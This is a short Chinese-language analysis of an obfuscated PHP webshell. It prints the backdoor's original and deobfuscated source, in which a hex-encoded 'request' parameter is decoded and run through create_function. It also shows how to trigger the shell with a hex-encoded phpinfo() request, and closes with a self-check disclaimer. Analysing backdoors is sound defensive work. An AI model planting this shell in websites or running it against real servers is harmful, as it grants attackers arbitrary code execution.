原始代码
$CD=trim(@$_REQUEST["request"]);
if($CD){
$DATA="";
for($c=0;$c<strlen($CD);$c+=2)
$DATA.=urldecode("%".substr($CD,$c,2));
$STR = str_replace("li","","lislitlirli_rlielipllialice");
$DATE = $STR("str","","strcstrrestratstrestr_fstruncstrtstriostrn");
$BASE = $DATE("", $DATA);@$BASE();exit;
}
先把可以str_replace这些函数进行执行得到真实执行代码
$CD = trim(@$_REQUEST["request"]);
if ($CD) {
$DATA = "";
for($c=0;$c<strlen($CD);$c+=2)
$DATA.=urldecode("%".substr($CD,$c,2));
$BASE = create_function("", $DATA);
@$BASE();
exit;
}
看到原始代码这边看到了create_function()函数,可以确定此代码后门无疑
create_function函数
适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
for($c=0;$c<strlen($CD);$c+=2) $DATA.=urldecode("%".substr($CD,$c,2));
循环后的值$DATA放到了第二个参数,执行代码部分。
此for循环每两位切割并拼接%进行URL解码。这里可以判断入参必定是16进制拼接,然后转码成字符。
使用字符转16进制ASCII码工具,此处使用phpinfo();
作为测试,phpinfo();=>706870696e666f28293b
请求localhost/ctf.php?request=706870696e666f28293b
可成功输出PHP版本信息,如失败则是当前PHP版本不支持此函数。
本文章仅作为个人知识分享,用于企业内部自查,请勿用作非法用途!